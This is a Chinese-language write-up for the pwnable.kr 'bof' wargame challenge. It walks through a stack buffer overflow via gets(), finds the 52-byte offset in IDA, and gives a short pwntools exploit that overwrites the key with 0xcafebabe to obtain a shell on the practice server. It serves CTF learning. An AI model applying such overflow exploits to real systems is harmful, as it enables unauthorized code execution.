首先我们登陆pwnable.kr,这里是道溢出题目,在题目提示中已经可以看出来了,我们下载一下bof文件,已经看一下bof文件的源码。http://pwnable.kr/bin/bof.c。
先是申明了一个char类型变量叫做overflowme,连接程序,他会输出一个overflow me:,然后你的输入会传入overflowme里,如果传入的key为0xcafebabe就会给你一个shell权限让你操作,但是这里的
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
会将你传进去的参数,赋值为0xdeadbeef,所以无论你怎么正常输入,进去的key都会是0xdeadbeef,所以我们这里需要在输入 0xcafebabe 之前需要填充字符把栈填满。现在放进ida里看一下。
shift+F12调出字符串窗口
双击overflow me跟进去
点击s然后摁x跟进去
gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的esp存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x....) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。
这里就要使用到pwntools了,这道题目也号称是pwntools里的helloworld。
网上写的大部分exp是针对python2使用pwntools的,我这个exp是针对python3使用exp的
from pwn import *
key=p32(0xcafebabe)
payload1=remote("pwnable.kr",9000)
payload1.send(bytes('a',encoding='utf8')*52+key)
payload1.interactive()
daddy, I just pwned a buFFer :)
恭喜你成为pwntools入门者。